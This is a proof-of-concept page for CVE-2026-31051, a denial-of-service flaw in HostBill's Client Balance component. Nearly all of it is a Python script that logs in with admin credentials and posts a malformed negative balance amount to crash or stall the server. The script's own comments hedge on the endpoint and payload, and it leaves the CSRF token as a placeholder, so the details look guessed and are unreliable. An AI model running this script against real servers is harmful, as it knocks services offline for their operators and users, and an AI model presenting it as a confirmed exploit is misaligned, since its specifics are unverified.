CVE-2026-31051 HostBill Client Balance组件拒绝服务漏洞

# Proof of Concept for CVE-2026-31051 # This script demonstrates the Denial of Service vulnerability in HostBill Client Balance component. # Note: This requires High Privileges (Admin/Staff) as indicated by PR:H. import requests def trigger_dos(target_url, username, password): session = requests.Session() # Step 1: Authentication to obtain high privileges login_url = f"{target_url}/admin.php" login_data = { "username": username, "password": password, "action": "login" } print(f"[*] Attempting login to {login_url}...") try: response = session.post(login_url, data=login_data) if "login" in response.text.lower(): print("[-] Login failed.") return print("[+] Login successful.") except Exception as e: print(f"[!] Connection error during login: {e}") return # Step 2: Exploit Client Balance Component # The specific endpoint causing the DoS might involve balance update or calculation. # Sending a payload that triggers the logic flaw. exploit_url = f"{target_url}/index.php?cmd=clientarea&action=services" # Malicious payload designed to trigger the DoS condition # Example: Excessive negative value or specific format causing backend crash payload = { "id": "1", "balance_action": "deduct", "amount": "-999999999999999999999.99", # Abnormal value "token": "get_token_from_page" # In a real scenario, CSRF token is needed } print(f"[*] Sending malicious payload to {exploit_url}...") try: exploit_response = session.post(exploit_url, data=payload, timeout=5) # Check if service becomes unresponsive or returns error 500 if exploit_response.status_code == 500 or exploit_response.elapsed.total_seconds() > 4.9: print("[+] Potential DoS triggered: Server responded slowly or with error.") else: print("[-] Exploit attempt did not trigger a crash.") except requests.exceptions.Timeout: print("[+] Potential DoS triggered: Server timed out.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target details target = "http://localhost/hostbill" user = "admin" passw = "password" trigger_dos(target, user, passw)